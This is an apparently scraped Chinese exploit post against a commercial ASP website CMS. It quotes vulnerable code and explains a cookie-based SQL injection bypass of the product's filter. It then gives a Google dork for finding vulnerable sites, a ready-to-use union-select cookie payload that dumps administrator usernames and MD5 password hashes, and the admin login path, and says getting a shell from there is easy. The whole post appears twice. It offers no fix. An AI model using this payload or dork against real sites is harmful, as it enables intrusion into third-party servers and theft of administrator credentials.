涉及版本:良精企业网站管理系统(2007-V09)官方正式商业版
其他版本未做测试
文件:
EnProductShow.asp
描述:
变量ID信任客户端提交值,带入sql语句查询,程序用了通用SQL防注入程序,详细见Check_Sql.asp。关键代码如下
ID=trim(request("ID"))
if ID="" then
response.Redirect("EnProduct.asp")
end if
sql="select * from Product where ID=" & ID & "" '此处无过虑,注入点
Set rs= Server.CreateObject("ADODB.Recordset")
rs.open sql,conn,1,3
if rs.bof and rs.eof then
response.write""
else
rs("Hits")=rs("Hits")+1
rs.update
Check_Sql.asp仅对GET和POST的数据进行了过滤,忽略了Cookie
利用方法:
Google搜索关键字 inurl:"EnProductShow.asp?id="
cookie注入,支持union,Product表26个字段,演示如下
1.http://www.Tr4c3.com/EnProductShow.asp?ID=229
SYUE.COM
2.javascript:alert(document.cookie="id="+escape("229 union select 0,1,2,3,4,5,6,username,8,password,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from admin"))
3.http://www.tr4c3.com/EnProductShow.asp
即可union出管理员帐号,密码(md5值)
后台地址
/admin/login.asp
后台拿shell方法很多。略过
其他版本未做测试
文件:
EnProductShow.asp
描述:
变量ID信任客户端提交值,带入sql语句查询,程序用了通用SQL防注入程序,详细见Check_Sql.asp。关键代码如下
ID=trim(request("ID"))
if ID="" then
response.Redirect("EnProduct.asp")
end if
sql="select * from Product where ID=" & ID & "" '此处无过虑,注入点
Set rs= Server.CreateObject("ADODB.Recordset")
rs.open sql,conn,1,3
if rs.bof and rs.eof then
response.write""
else
rs("Hits")=rs("Hits")+1
rs.update
Check_Sql.asp仅对GET和POST的数据进行了过滤,忽略了Cookie
利用方法:
Google搜索关键字 inurl:"EnProductShow.asp?id="
cookie注入,支持union,Product表26个字段,演示如下
1.http://www.Tr4c3.com/EnProductShow.asp?ID=229
SYUE.COM
2.javascript:alert(document.cookie="id="+escape("229 union select 0,1,2,3,4,5,6,username,8,password,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from admin"))
3.http://www.tr4c3.com/EnProductShow.asp
即可union出管理员帐号,密码(md5值)
后台地址
/admin/login.asp
后台拿shell方法很多。略过
网友评论(0):